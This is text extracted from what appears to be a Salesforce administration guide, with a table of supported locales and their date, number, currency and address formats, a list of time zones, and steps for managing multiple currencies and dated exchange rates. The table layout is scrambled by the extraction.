02/01/2008
16:30
06:00
1.234,56
Ms. FName
LName
Address Line
1,
Address Line
2
City, State
ZipCode
Country
Czech
cs
2.1.2008
16:30
6:00
1 234,56
Ms. FName
LName
Address Line
1,
Address Line
2
City, State
ZipCode
Country
Czech
2.1.2008
Koruna: CZK 16:30
6:00
1 234,56
Ms. FName
LName
Address Line
1,
Address Line
2
City, State
ZipCode
Country
416
Company Information
Supported Locales
Name
Code
Danish
da
Default
currency
Date and
time format
02-01-2008
16:30
06:00
Ms. FName
LName
1.234,56
Address Line
1,
Address Line
2
City, State
ZipCode
Country
Danish
(Denmark)
da_DK
Danish
02-01-2008
Krone: DKK 16:30
06:00
1.234,56
Ms. FName
LName
Address Line
1,
Address Line
2
City, State
ZipCode
Country
German
de
02.01.2008
16:30
06:00
1.234,56
Ms. FName
LName
Address Line
1,
Address Line
2
ZipCode City
State Country
German
(Austria)
de_AT
Euro: EUR
02.01.2008
16:30
06:00
1.234,56
Ms. FName
LName
Address Line
1,
Address Line
2
ZipCode City
State Country
German
de_CH
(Switzerland)
Swiss Franc:
CHF
02.01.2008
16:30
06:00
1'234.56
Ms. FName
LName
Address Line
1,
Address Line
2
ZipCode City
State Country
417
Company Information
Supported Locales
Name
Code
Default
currency
Date and
time format
German
(Germany)
de_DE
Euro: EUR
02.01.2008
16:30
06:00
Ms. FName
LName
1.234,56
Address Line
1,
Address Line
2
ZipCode City
State Country
German
de_LU
(Luxembourg)
Euro: EUR
02.01.2008
16:30
06:00
1.234,56
Ms. FName
LName
Address Line
1,
Address Line
2
ZipCode City
State Country
Greek
el
1.234,56
Ms. FName
LName
Address Line
1,
Address Line
2
City, State
ZipCode
Country
Greek
(Greece)
el_GR
Greek
Drachma:
EUR
1.234,56
Ms. FName
LName
Address Line
1,
Address Line
2
City, State
ZipCode
Country
English
(Australia)
en_AU
Australian
2/01/2008
Dollar: AUD 4:30 PM
6:00 AM
1,234.56
Ms. FName
LName
Address Line
1,
Address Line
2
City, State
ZipCode
Country
418
Company Information
Supported Locales
Name
Code
Default
currency
Date and
time format
English
(Barbados)
en_BB
Barbados
1/2/2008 4:30 6:00 AM
Dollar: BBD PM
1,234.56
Address Line
1,
Address Line
2
City, State
ZipCode
Country
English
(Bermuda)
en_BM
Bermuda
1/2/2008 4:30 6:00 AM
Dollar: BMD PM
1,234.56
Ms. FName
LName
Address Line
1,
Address Line
2
City, State
ZipCode
Country
English
(Canada)
en_CA
Canadian
02/01/2008
Dollar: CAD 4:30 PM
6:00 AM
1,234.56
Ms. FName
LName
Address Line
1,
Address Line
2
City, State
ZipCode
Country
English
(United
Kingdom)
en_GB
British
02/01/2008
Pound: GBP 16:30
06:00
1,234.56
Ms. FName
LName
Address Line
1,
Address Line
2
City, State
ZipCode
Country
English
(Ghana)
en_GH
1,234.56
Ms. FName
LName
Address Line
1,
Address Line
2
City, State
ZipCode
Country
419
Company Information
Supported Locales
Name
Code
Default
currency
Date and
time format
English
(Indonesia)
en_ID
Indonesian
1/2/2008 4:30 6:00 AM
Rupiah: IDR PM
1,234.56
Address Line
1,
Address Line
2
City, State
ZipCode
Country
English
(Ireland)
en_IE
Euro: EUR
02/01/2008
16:30
06:00
1,234.56
Ms. FName
LName
Address Line
1,
Address Line
2
City, State
ZipCode
Country
English
(India)
en_IN
1,234.56
Ms. FName
LName
Address Line
1,
Address Line
2
City, State
ZipCode
Country
English
(Malaysia)
en_MY
Malaysian
Dollar
(Ringgit):
MYR
1,234.56
Ms. FName
LName
Address Line
1,
Address Line
2
City, State
ZipCode
Country
English
(Nigeria)
en_NG
Nigerian
Naira: NGN
1,234.56
Ms. FName
LName
Address Line
1,
Address Line
2
City, State
ZipCode
Country
420
Company Information
Name
Supported Locales
Code
Default
currency
Date and
time format
6:00 AM
Ms. FName
LName
1,234.56
Address Line
1,
Address Line
2
City, State
ZipCode
Country
English
(Philippines)
en_PH
Philippines
Peso: PHP
1,234.56
Ms. FName
LName
Address Line
1,
Address Line
2
City, State
ZipCode
Country
English
(Singapore)
en_SG
Singapore
1/2/2008 4:30 6:00 AM
Dollar: SGD PM
1,234.56
Ms. FName
LName
Address Line
1,
Address Line
2
City, State
ZipCode
Country
English
(United
States)
en_US
U.S. Dollar:
USD
1,234.56
Ms. FName
LName
Address Line
1,
Address Line
2
City, State
ZipCode
Country
English
en_ZA
(South Africa)
6:00 AM
1,234.56
Ms. FName
LName
Address Line
1,
Address Line
2
City, State
ZipCode
Country
421
Company Information
Supported Locales
Name
Code
Spanish
es
Default
currency
Date and
time format
2/01/2008
16:30
6:00
Ms. FName
LName
1.234,56
Address Line
1,
Address Line
2
City, State
ZipCode
Country
Spanish
(Argentina)
es_AR
Argentine
Peso: ARS
02/01/2008
16:30
06:00
1.234,56
Ms. FName
LName
Address Line
1,
Address Line
2
City, State
ZipCode
Country
Spanish
(Bolivia)
es_BO
Bolivian
Boliviano:
BOB
02-01-2008
04:30 PM
06:00 AM
1.234,56
Ms. FName
LName
Address Line
1,
Address Line
2
City, State
ZipCode
Country
Spanish
(Chile)
es_CL
06:00 AM
1.234,56
Ms. FName
LName
Address Line
1,
Address Line
2
City, State
ZipCode
Country
Spanish
(Colombia)
es_CO
Colombian
Peso: COP
2/01/2008
04:30 PM
06:00 AM
1.234,56
Ms. FName
LName
Address Line
1,
Address Line
2
City, State
ZipCode
Country
422
Company Information
Supported Locales
Name
Code
Default
currency
Date and
time format
Spanish
(Costa Rica)
es_CR
Costa Rica
02/01/2008
Colon: CRC 04:30 PM
06:00 AM
Ms. FName
LName
1,234.56
Address Line
1,
Address Line
2
City, State
ZipCode
Country
Spanish
(Dominican
Republic)
es_DO
Dominican
Republic
Peso: DOP
01/02/2008
04:30 PM
06:00 AM
1,234.56
Ms. FName
LName
Address Line
1,
Address Line
2
City, State
ZipCode
Country
Spanish
(Ecuador)
es_EC
CFA Franc
(BEAC):
XAF
02/01/2008
04:30 PM
06:00 AM
1.234,56
Ms. FName
LName
Address Line
1,
Address Line
2
City, State
ZipCode
Country
Spanish
(Spain)
es_ES
Euro: EUR
2/01/2008
16:30
6:00
1.234,56
Ms. FName
LName
Address Line
1,
Address Line
2
City, State
ZipCode
Country
Spanish
(Guatemala)
es_GT
Guatemala
Quetzal:
GTQ
2/01/2008
04:30 PM
06:00 AM
1,234.56
Ms. FName
LName
Address Line
1,
Address Line
2
City, State
ZipCode
Country
423
Company Information
Supported Locales
Name
Code
Default
currency
Date and
time format
Spanish
(Honduras)
es_HN
Honduras
Lempira:
HNL
01-02-2008
04:30 PM
06:00 AM
Ms. FName
LName
1,234.56
Address Line
1,
Address Line
2
City, State
ZipCode
Country
Spanish
(Mexico)
es_MX
Mexican
2/01/2008
Unidad de
04:30 PM
Inversion
(UDI): MXV
06:00 AM
1,234.56
Ms. FName
LName
Address Line
1,
Address Line
2
City, State
ZipCode
Country
Spanish
(Panama)
es_PA
Panama
01/02/2008
Balboa: PAB 04:30 PM
06:00 AM
1,234.56
Ms. FName
LName
US Dollar:
USD
Address Line
1,
Address Line
2
City, State
ZipCode
Country
Spanish
(Peru)
es_PE
Peruvian
Nuevo Sol:
PEN
02/01/2008
04:30 PM
06:00 AM
1.234,56
Ms. FName
LName
Address Line
1,
Address Line
2
City, State
ZipCode
Country
Spanish
es_PR
(Puerto Rico)
U.S. Dollar:
USD
01-02-2008
04:30 PM
06:00 AM
1,234.56
Ms. FName
LName
Address Line
1,
Address Line
2
City, State
ZipCode
Country
424
Company Information
Supported Locales
Name
Code
Default
currency
Date and
time format
Spanish
(Paraguay)
es_PY
Paraguayan
Guarani:
PYG
02/01/2008
04:30 PM
06:00 AM
Ms. FName
LName
1.234,56
Address Line
1,
Address Line
2
City, State
ZipCode
Country
Spanish (El
Salvador)
es_SVUS
U.S. Dollar:
USD
01-02-2008
04:30 PM
06:00 AM
1,234.56
Ms. FName
LName
Address Line
1,
Address Line
2
City, State
ZipCode
Country
Spanish
(Uruguay)
es_UY
Uruguayan
New Peso:
UYU
02/01/2008
04:30 PM
06:00 AM
1.234,56
Ms. FName
LName
Address Line
1,
Address Line
2
City, State
ZipCode
Country
Spanish
(Venezuela)
es_VE
Venezuelan
Bolivar
Fuerte: VEF
02/01/2008
04:30 PM
06:00 AM
1.234,56
Ms. FName
LName
Address Line
1,
Address Line
2
City, State
ZipCode
Country
Estonian
(Estonia)
et_EE
Estonian
Kroon: EEK
2.01.2008
16:30
6:00
1 234,56
Ms. FName
LName
Address Line
1,
Address Line
2
City, State
ZipCode
Country
425
Company Information
Supported Locales
Name
Code
Finnish
fi
Default
currency
Date and
time format
2.1.2008
16:30
6:00
Ms. FName
LName
1 234,56
Address Line
1,
Address Line
2
City, State
ZipCode
Country
Finnish
(Finland)
fi_FI
Euro: EUR
2.1.2008
16:30
6:00
1 234,56
Ms. FName
LName
Address Line
1,
Address Line
2
City, State
ZipCode
Country
French
fr
02/01/2008
16:30
06:00
1 234,56
Ms. FName
LName
Address Line
1,
Address Line
2
City, State
ZipCode
Country
French
(Belgium)
fr_BE
Euro: EUR
2/01/2008
16:30
6:00
1.234,56
Ms. FName
LName
Address Line
1,
Address Line
2
City, State
ZipCode
Country
French
(Canada)
fr_CA
Canadian
2008-01-02
Dollar: CAD 16:30
06:00
1 234,56
Ms. FName
LName
Address Line
1,
Address Line
2
City, State
ZipCode
Country
426
Company Information
Name
Supported Locales
Code
French
fr_CH
(Switzerland)
Default
currency
Date and
time format
Swiss Franc:
CHF
02.01.2008
16:30
06:00
Ms. FName
LName
1'234.56
Address Line
1,
Address Line
2
City
Country State
ZipCode
French
(France)
fr_FR
Euro: EUR
02/01/2008
16:30
06:00
1 234,56
Ms. FName
LName
Address Line
1,
Address Line
2
City, State
ZipCode
Country
French
fr_LU
(Luxembourg)
Euro: EUR
02/01/2008
16:30
06:00
1 234,56
Ms. FName
LName
Address Line
1,
Address Line
2
City, State
ZipCode
Country
French
(Monaco)
fr_MC
Moroccan
Dirham:
MAD
02/01/2008
16:30
06:00
1 234,56
Ms. FName
LName
Address Line
1,
Address Line
2
City, State
ZipCode
Country
Croatian
(Croatia)
hr_HR
Croatian
Kuna: HRK
02.01.2008.
16:30
06:00
1.234,56
Ms. FName
LName
Address Line
1,
Address Line
2
City, State
ZipCode
Country
427
Company Information
Supported Locales
Name
Code
Hungarian
hu
Default
currency
Date and
time format
2008.01.02.
16:30
6:00
LName
FName
1 234,56
Address Line
1,
Address Line
2
City, State
ZipCode
Country
Hungarian
(Hungary)
hu_HU
Hungarian
2008.01.02.
Forint: HUF 16:30
6:00
1 234,56
Ms. FName
LName
Address Line
1,
Address Line
2
City, State
ZipCode
Country
Armenian
(Armenia)
hy_AM
Armenian
1/2/2008 4:30 6:00 AM
Dram: AMD PM
1,234.56
Ms. FName
LName
Address Line
1,
Address Line
2
City, State
ZipCode
Country
Indonesian
in
2008/01/02
16:30
06:00
1.234,56
Ms. FName
LName
Address Line
1,
Address Line
2
City, State
ZipCode
Country
Indonesian
(Indonesia)
in_ID
Indonesian
02/01/2008
Rupiah: IDR 16:30
6:00
1.234,56
Ms. FName
LName
Address Line
1,
Address Line
2
City, State
ZipCode
Country
428
Company Information
Supported Locales
Name
Code
Default
currency
Date and
time format
Icelandic
(Iceland)
is_IS
Iceland
Krona: ISK
2.1.2008
16:30
06:00
Ms. FName
LName
1.234,56
Address Line
1,
Address Line
2
City, State
ZipCode
Country
Italian
it
02/01/2008
16.30
6.00
1.234,56
Ms. FName
LName
Address Line
1,
Address Line
2
City, State
ZipCode
Country
Italian
it_CH
(Switzerland)
Swiss Franc:
CHF
02.01.2008
16:30
06:00
1'234.56
Ms. FName
LName
Address Line
1,
Address Line
2
City
Country State
ZipCode
Euro: EUR
02/01/2008
16.30
6.00
1.234,56
Ms. FName
LName
Address Line
1,
Address Line
2
City, State
ZipCode
Country
Hebrew
iw
16:30
02/01/2008
06:00
1,234.56
Ms. FName
LName
Address Line
1,
Address Line
2
City, State
ZipCode
Country
429
Company Information
Supported Locales
Name
Code
Default
currency
Date and
time format
Hebrew
(Israel)
iw_IL
06:00
Ms. FName
LName
1,234.56
Address Line
1,
Address Line
2
City, State
ZipCode
Country
Japanese
ja
2008/01/02
16:30
6:00
1,234.56
LName
FName
Country
ZipCode
State City
Address Line
1,
Address Line
2
Japanese
(Japan)
ja_JP
6:00
1,234.56
LName
FName
Country
ZipCode
State City
Address Line
1,
Address Line
2
Georgian
ka
1,234.56
Ms. FName
LName
Address Line
1,
Address Line
2
City, State
ZipCode
Country
Georgian
(Georgia)
ka_GE
Georgian
Lari: GEL
1,234.56
Ms. FName
LName
Address Line
1,
Address Line
2
City, State
ZipCode
Country
430
Company Information
Name
Supported Locales
Code
Kazakh
kk_KZ
(Kazakhstan)
Default
currency
Date and
time format
Kazakhstan
Tenge: KZT
1,234.56
Address Line
1,
Address Line
2
City, State
ZipCode
Country
Khmer
(Cambodia)
km_KH
Cambodia
Riel: KHR
1,234.56
Ms. FName
LName
Address Line
1,
Address Line
2
City, State
ZipCode
Country
Korean
ko
2008. 1. 2 PM 6:00
4:30
1,234.56
LName
FName
Country
ZipCode
State City
Address Line
1,
Address Line
2
Korean
ko_KR
(South Korea)
1,234.56
LName
FName
Country
ZipCode
State City
Address Line
1,
Address Line
2
Lithuanian
(Lithuania)
lt_LT
Lithuanian
Lita: LTL
2008.1.2
16.30
06.00
1 234,56
Ms. FName
LName
Address Line
1,
Address Line
2
City, State
ZipCode
Country
431
Company Information
Supported Locales
Name
Code
Default
currency
Date and
time format
Latvian
(Latvia)
lv_LV
Latvian Lat:
LVL
2008.2.1
16:30
06:00
Ms. FName
LName
1 234,56
Address Line
1,
Address Line
2
City, State
ZipCode
Country
Malay
(Malaysia)
ms_MY
Malaysian
02/01/2008
Ringgit: MYR 4:30 PM
6:00 AM
1,234.56
Ms. FName
LName
Address Line
1,
Address Line
2
City, State
ZipCode
Country
Dutch
nl
2-1-2008
16:30
6:00
1.234,56
Ms. FName
LName
Address Line
1,
Address Line
2
City, State
ZipCode
Country
Dutch
(Belgium)
nl_BE
Euro: EUR
2/01/2008
16:30
6:00
1.234,56
Ms. FName
LName
Address Line
1,
Address Line
2
City, State
ZipCode
Country
Dutch
nl_NL
(Netherlands)
Euro: EUR
2-1-2008
16:30
6:00
1.234,56
Ms. FName
LName
Address Line
1,
Address Line
2
City, State
ZipCode
Country
432
Company Information
Supported Locales
Name
Code
Default
currency
Date and
time format
Dutch
(Suriname)
nl_SR
Surinam
Dollar: SRD
2-1-2008
16:30
6:00
Ms. FName
LName
1.234,56
Address Line
1,
Address Line
2
City, State
ZipCode
Country
Norwegian
no
02.01.2008
16:30
06:00
1 234,56
Ms. FName
LName
Address Line
1,
Address Line
2
City, State
ZipCode
Country
Norwegian
(Norway)
no_NO
Norwegian
02.01.2008
Krone: NOK 16:30
06:00
1 234,56
Ms. FName
LName
Address Line
1,
Address Line
2
City, State
ZipCode
Country
Polish
pl
2008-01-02
16:30
06:00
1 234,56
Ms. FName
LName
Address Line
1,
Address Line
2
City, State
ZipCode
Country
Portuguese
pt
02-01-2008
16:30
6:00
1.234,56
Ms. FName
LName
Address Line
1,
Address Line
2
City, State
ZipCode
Country
433
Company Information
Supported Locales
Name
Code
Default
currency
Date and
time format
Portuguese
(Angola)
pt_AO
Angola
Kwanza:
AOA
02-01-2008
16:30
6:00
Ms. FName
LName
1.234,56
Address Line
1,
Address Line
2
City, State
ZipCode
Country
Portuguese
(Brazil)
pt_BR
Brazilian
Real: BRL
02/01/2008
16:30
06:00
1.234,56
Ms. FName
LName
Address Line
1,
Address Line
2
City, State
ZipCode
Country
Portuguese
(Portugal)
pt_PT
Euro: EUR
02-01-2008
16:30
6:00
1.234,56
Ms. FName
LName
Address Line
1,
Address Line
2
City, State
ZipCode
Country
Romanian
ro
02.01.2008
16:30
06:00
1.234,56
Ms. FName
LName
Address Line
1,
Address Line
2
City, State
ZipCode
Country
Romanian
(Romania)
ro_RO
Romanian
Leu (New):
RON
02.01.2008
16:30
06:00
1.234,56
Ms. FName
LName
Address Line
1,
Address Line
2
City, State
ZipCode
Country
434
Company Information
Supported Locales
Name
Code
Russian
ru
Default
currency
Date and
time format
02.01.2008
16:30
6:00
Ms. FName
LName
1 234,56
Address Line
1,
Address Line
2
City, State
ZipCode
Country
Russian
(Russia)
ru_RU
Russian
02.01.2008
Rouble: RUB 16:30
6:00
1 234,56
Ms. FName
LName
Address Line
1,
Address Line
2
City, State
ZipCode
Country
Serbian
(Latin)
sh
02.01.2008.
16:30
06.00
1.234,56
Ms. FName
LName
Address Line
1,
Address Line
2
City, State
ZipCode
Country
Serbian
sh_BA
(Latin)
(Bosnia and
Herzegovina)
Convertible
Mark: BAM
02.01.2008.
16:30
06.00
1.234,56
Ms. FName
LName
Address Line
1,
Address Line
2
City, State
ZipCode
Country
Serbian
sh_CS
(Latin)
(Serbia and
Montenegro)
06.00
1.234,56
Ms. FName
LName
Address Line
1,
Address Line
2
City, State
ZipCode
Country
435
Company Information
Supported Locales
Name
Code
Slovak
sk
Default
currency
Date and
time format
2.1.2008
16:30
6:00
Ms. FName
LName
1 234,56
Address Line
1,
Address Line
2
City, State
ZipCode
Country
Slovak
(Slovakia)
sk_SK
Euro: EUR
2.1.2008
16:30
6:00
1 234,56
Ms. FName
LName
Address Line
1,
Address Line
2
City, State
ZipCode
Country
Slovenian
(Slovenia)
sl_SI
Euro: EUR
2.1.08 16:30
6:00
1.234,56
Ms. FName
LName
Address Line
1,
Address Line
2
City, State
ZipCode
Country
Serbian
sr
2.1.2008.
16.30
06.00
1.234,56
Ms. FName
LName
Address Line
1,
Address Line
2
City, State
ZipCode
Country
Serbian
sr_BA
(Bosnia and
Herzegovina)
Convertible
Mark: BAM
2008-01-02
16:30
06.00
1.234,56
Ms. FName
LName
Address Line
1,
Address Line
2
City, State
ZipCode
Country
436
Company Information
Name
Supported Locales
Code
Serbian
sr_CS
(Serbia and
Montenegro)
Default
currency
Date and
time format
06.00
Ms. FName
LName
1.234,56
Euro
(Montenegro):
EUR
Address Line
1,
Address Line
2
City, State
ZipCode
Country
Swedish
sv
2008-01-02
16:30
06:00
1 234,56
Ms. FName
LName
Address Line
1,
Address Line
2
City, State
ZipCode
Country
Swedish
(Sweden)
sv_SE
Swedish
Krona: SEK
2008-01-02
16:30
06:00
1 234,56
Ms. FName
LName
Address Line
1,
Address Line
2
City, State
ZipCode
Country
Thai
th
2/1/2008,
16:30 .
6:00 .
1,234.56
Ms. FName
LName
Address Line
1,
Address Line
2
City, State
ZipCode
Country
Thai
(Thailand)
th_TH
Thai Baht:
THB
2/1/2551,
16:30 .
6:00 .
1,234.56
Ms. FName
LName
Address Line
1,
Address Line
2
City, State
ZipCode
Country
437
Company Information
Supported Locales
Name
Code
Tagalog
tl
Default
currency
Date and
time format
1,234.56
Address Line
1,
Address Line
2
City, State
ZipCode
Country
Tagalog
(Philippines)
tl_PH
Philippines
Peso: PHP
1,234.56
Ms. FName
LName
Address Line
1,
Address Line
2
City, State
ZipCode
Country
Turkish
tr
02.01.2008
16:30
06:00
1.234,56
Ms. FName
LName
Address Line
1,
Address Line
2
City, State
ZipCode
Country
Turkish
(Turkey)
tr_TR
06:00
1.234,56
Ms. FName
LName
Address Line
1,
Address Line
2
City, State
ZipCode
Country
Ukrainian
uk
02.01.2008
16:30
6:00
1.234,56
Ms. FName
LName
Address Line
1,
Address Line
2
City, State
ZipCode
Country
438
Company Information
Supported Locales
Name
Code
Default
currency
Date and
time format
Ukrainian
(Ukraine)
uk_UA
Ukraine
Hryvnia:
UAH
02.01.2008
16:30
6:00
Ms. FName
LName
1.234,56
Address Line
1,
Address Line
2
City, State
ZipCode
Country
Urdu
(Pakistan)
ur_PK
Pakistani
Rupee: PKR
1,234.56
Ms. FName
LName
Address Line
1,
Address Line
2
City, State
ZipCode
Country
Vietnamese
vi
16:30
02/01/2008
06:00
1.234,56
Ms. FName
LName
Address Line
1,
Address Line
2
City, State
ZipCode
Country
Vietnamese
(Vietnam)
vi_VN
Vietnam
Dong: VND
16:30
02/01/2008
06:00
1.234,56
Ms. FName
LName
Address Line
1,
Address Line
2
City, State
ZipCode
Country
Chinese
zh
2008-1-2
PM4:30
6:00
1,234.56
LName
FName
Country
ZipCode
State City
Address Line
1,
Address Line
2
439
Company Information
Supported Locales
Name
Code
Default
currency
Date and
time format
Chinese
(China)
zh_CN
Chinese
Yuan: CNY
2008-1-2
PM4:30
6:00
LName
FName
1,234.56
Country
ZipCode
State City
Address Line
1,
Address Line
2
Chinese
zh_HK
(Hong Kong)
6:00
1,234.56
LName
FName
Country
ZipCode
State City
Address Line
1,
Address Line
2
Chinese
(Taiwan)
zh_TW
Taiwan
2008/1/2 PM 6:00
Dollar: TWD 4:30
1,234.56
LName
FName
Country
ZipCode
State City
Address Line
1,
Address Line
2
See Also:
Understanding Language, Locale, and Currency
440
Company Information
Customize Application
The available personal setup options vary according to which Salesforce Edition you have.
GMT+14:00
GMT+13:00
GMT+13:00
GMT+12:45
GMT+12:00
GMT+12:00
GMT+12:00
GMT+11:30
GMT+11:00
GMT+10:30
GMT+10:00
GMT+10:00
GMT+09:30
GMT+09:30
GMT+09:00
GMT+09:00
GMT+08:00
GMT+08:00
GMT+08:00
GMT+08:00
GMT+08:00
441
Company Information
GMT+08:00
GMT+08:00
GMT+07:00
GMT+07:00
GMT+07:00
GMT+06:30
GMT+06:00
GMT+05:45
GMT+05:30
GMT+05:30
GMT+05:00
GMT+05:00
GMT+05:00
GMT+04:30
GMT+04:00
GMT+04:00
GMT+03:30
GMT+03:00
GMT+03:00
GMT+03:00
GMT+03:00
GMT+03:00
GMT+02:00
GMT+02:00
GMT+02:00
GMT+02:00
GMT+02:00
GMT+02:00
GMT+02:00
GMT+02:00
GMT+01:00
442
Company Information
GMT+01:00
GMT+01:00
GMT+01:00
GMT+01:00
GMT+01:00
GMT+00:00
GMT+00:00
GMT+00:00
GMT+00:00
GMT-01:00
GMT-02:00
GMT-03:00
GMT-03:00
GMT-03:30
GMT-04:00
GMT-04:00
GMT-04:00
GMT-04:00
GMT-04:30
GMT-05:00
GMT-05:00
GMT-05:00
GMT-05:00
GMT-05:00
GMT-06:00
GMT-06:00
GMT-06:00
GMT-07:00
GMT-07:00
GMT-08:00
GMT-08:00
443
Company Information
GMT-09:00
GMT-10:00
GMT-11:00
GMT-11:00
See Also:
Understanding Language, Locale, and Currency
The Company Information page has the following fields (listed in alphabetical order), including the user and feature licenses
purchased for your organization.
Field
Description
Address
Admin Newsletter
City
Corporate Currency
Country
444
Company Information
Field
Description
Created By
Currency Locale
Default Language
Default Locale
Division
Fax
If using a standard fiscal year, the starting month and year for
the organizations fiscal year. If using a custom fiscal year, the
value will be Custom Fiscal Year.
445
Company Information
Field
Description
Modified By
Newsletter
Organization Name
Phone
Primary Contact
Salesforce Licenses
Salesforce.com Organization ID
State
Zip
446
Multiple Currencies
Field
Description
See Also:
About Company Information
Understanding Language, Locale, and Currency
MULTIPLE CURRENCIES
Managing Multiple Currencies
Available in: Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions
To change currencies:
Customize Application
Your organization can set up the ability to use multiple currencies in opportunities, forecasts, quotes, reports, and other data.
1. Contact salesforce.com to enable Multi-Currency for your organization.
Note: For large organizations, Multi-Currency might be enabled over the next weekend to avoid performance
issues during the work week.
2.
3.
4.
5.
Designate your corporate currency. See Setting Corporate Currency on page 448.
Activate additional currencies for your organization. See Activating and Deactivating Currencies on page 449.
To use dated exchange rates, enable advanced currency management.
Set conversion rates for new currencies. See Editing Conversion Rates. If you have enabled advanced currency management,
see Editing Dated Exchange Rates on page 453.
447
Multiple Currencies
Every user also has a personal currency, which is used as the default currency in his or her own quotas, forecasts (depending
on which forecasting version you use), opportunities, quotes, and reports. Users can also create opportunities and enter amounts
using other active currencies.
Every lead, account, contact, opportunity, and case has a field that specifies the currency to use for all amount fields in that
record. For example, you can set the Account Currency to USD-U.S. Dollars so that the Annual Revenue shows in
dollars for one of your American accounts. All currency amounts are displayed in the default currency of the record as well as
in the personal currency of the user. When you change the default currency of a record, currency amounts are not converted;
they simply display with the new currency code.
Note: If your organization uses advanced currency management, the opportunity close date determines which conversion
rate to use when displaying currency amounts.
Depending on the forecasting version you have, forecasts currency amounts are automatically converted to the users personal
currency; additionally, for managers, their teams opportunities, forecasts, quotes, and other data is converted and rolled up to
the managers personal currency. The manager can also drill down to see the data in its native currency. All conversion and
roll-ups happen automatically.
Amounts in reports are shown in their original currencies, but can be displayed in any active currency. You can change the
currency used for report totals by selecting a currency from Show > Currencies. The default value for the drop-down is your
personal currency. For any amount, you can also choose to display the Converted columnfor example, Annual Revenue
Convertedwhich will show amounts in the currency you select.
Custom formula fields are not tied to any particular currency. If the result of a formula field is a currency amount, it displays
in the currency of the associated record. This is also true for cross-object formulas that reference merge fields with different
currencies, and formulas in workflow rules and approval processes. However, note that workflow rules and approval processes
that use filters instead of formulas convert all currency values to the corporate currency.
You cannot disable multiple currencies for your organization if the currency fields are referenced in Apex. For example, if
Apex code references the Account Currency field (represented as CurrencyIsoCode in the code), multiple currencies
cannot be disabled. For more information, see Apex Code Overview on page 1994.
See Also:
Administrator setup guide: Using Multiple Currencies
Importing Multiple Currencies
To change currencies:
Customize Application
Your administrator must specify a Corporate Currency, which reflects the currency in which your corporate headquarters
reports revenue. A salesforce.com representative initially sets your corporate currency upon activation of the feature.
448
Multiple Currencies
See Also:
Managing Multiple Currencies
Editing Conversion Rates
About Advanced Currency Management
Administrator setup guide: Using Multiple Currencies
To change currencies:
Customize Application
To use multiple currencies, your administrator must specify which currencies are supported for your organization.
Active currenciesThese represent countries in which your organization does business. Only active currencies can be
entered in opportunities, forecasts, and other items.Once you activate a currency, you can never permanently delete it.
Inactive currenciesThese are currencies that your organization no longer uses. You may have existing records that use
inactive currencies, but you cannot enter new amounts in inactive currencies.
Click Your Name > Setup > Company Profile > Manage Currencies.
Click New in the Active Currencies related list.
Select a currency. Currencies are alphabetized using their ISO currency code.
Enter the conversion rate relative to your corporate currency.
Specify the number of decimal places to show for amounts in this currency.
Click Save.
To activate a currency from the list of inactive currencies, click Activate next to the currency.
To deactivate a currency, click Deactivate next to the currency. Deactivating a currency does not alter amounts in items that
use that currency. However, you can no longer enter new amounts using the inactive currency.
449
Multiple Currencies
Note: Deactivating a currency that is set as a users personal currency automatically resets the users currency to the
corporate currency.
See Also:
Managing Multiple Currencies
Setting Corporate Currency
Editing Conversion Rates
About Advanced Currency Management
Administrator setup guide: Using Multiple Currencies
To change currencies:
Customize Application
You can manage exchange rates between your active and inactive currencies and the corporate currency by editing the conversion
rates. These are static exchange rates that apply to all currency fields used in your organization. In addition to these conversion
rates, your organization may also use dated exchange rates for opportunities and opportunity products. For more information
about dated exchange rates, see About Advanced Currency Management on page 451.
To edit your organization's static conversion rates:
1.
2.
3.
4.
5.
Click Your Name > Setup > Company Profile > Manage Currencies.
If advanced currency management is enabled, click Manage Currencies.
Click Edit Rates in the Active Currencies or Inactive Currencies lists.
Enter the conversion rate between each currency and your corporate currency.
Click Save.
When you change the conversion rates, currency amounts are updated using the new rates. Previous conversion rates are not
stored. All conversions within opportunities, forecasts, and other amounts use the current conversion rate.
If your organization uses advanced currency management, you can also manage dated exchange rates for currency fields on
opportunities and opportunity products. To manage dated exchange rates, see Editing Dated Exchange Rates on page 453.
Note:
450
Changing conversion rates causes a mass recalculation of roll-up summary fields, which may take up to 30 minutes,
depending on the number of records affected and other factors.
See Also:
Managing Multiple Currencies
Setting Corporate Currency
Activating and Deactivating Currencies
Administrator setup guide: Using Multiple Currencies
Customize Application
To view currencies:
To change currencies:
Customize Application
Advanced currency management allows you to manage dated exchange rates within opportunities using Salesforce. Dated
exchange rates allow you to map a conversion rate to a specific date range. For example, the exchange rate on January 1 was
1 USD to 1.39 AUD, but on February 1, it changed to 1 USD to 1.42 AUD. Your opportunities that closed between January
1 and February 1 use the first exchange rate (1 = 1.39), while opportunities that closed after February 1 used the second
exchange rate (1 = 1.42).
Dated exchange rates are defined using a start date and a conversion rate. Each rate is in effect until either the end of time or
the day before the next start date for that currency. The time between on start date and the next start date is called the exchange
rate date range. These ranges can be as small as a day and as large as all of time.
To enable or disable advanced currency management, see Enabling or Disabling Advanced Currency Management on page
452.
When advanced currency management is first enabled, your existing exchange rates automatically become the first set of dated
exchange rates. These rates will be valid for all time, until you define another set of exchange rates. For more information, see
Editing Dated Exchange Rates on page 453.
If you disable advanced currency management, all currency conversions will use the static conversion rate. See Editing Conversion
Rates on page 450.
451
See Also:
Managing Multiple Currencies
Setting Corporate Currency
Activating and Deactivating Currencies
Administrator setup guide: Using Multiple Currencies
Customize Application
Enable multiple currencies for your organization. For more information, see Managing Multiple Currencies on page 447.
Click Your Name > Setup > Company Profile > Manage Currencies.
Click Enable.
When prompted, select Yes, I want to enable Advanced Currency Management and click Enable.
When advanced currency management is first enabled, your existing exchange rates automatically become the first set of dated
exchange rates. These rates will be valid for all time, until you define another set of exchange rates.
To disable advanced currency management:
1. Click Your Name > Setup > Company Profile > Manage Currencies.
2. Click Disable.
452
3. When prompted, select Yes, I want to disable Advanced Currency Management and click Disable.
If you disable advanced currency management, all currency conversions will use the static conversion rate. See Editing Conversion
Rates on page 450.
When advanced currency management is enabled, Visualforce <apex:inputField> and <apex:outputField> components
cannot display currency fields.
See Also:
About Advanced Currency Management
To change currencies:
Customize Application
Click Your Name > Setup > Company Profile > Manage Currencies.
Click Manage Dated Exchange Rates.
Click New Exchange Rates.
Enter the date that the exchange rates go into effect.
Enter the exchange rates.
Note: The exchange rates will default to the current exchange rate. If you do not want to set a new exchange rate
for a currency, delete the exchange rate (leave the field blank).
Click Your Name > Setup > Company Profile > Manage Currencies.
Click Manage Dated Exchange Rates.
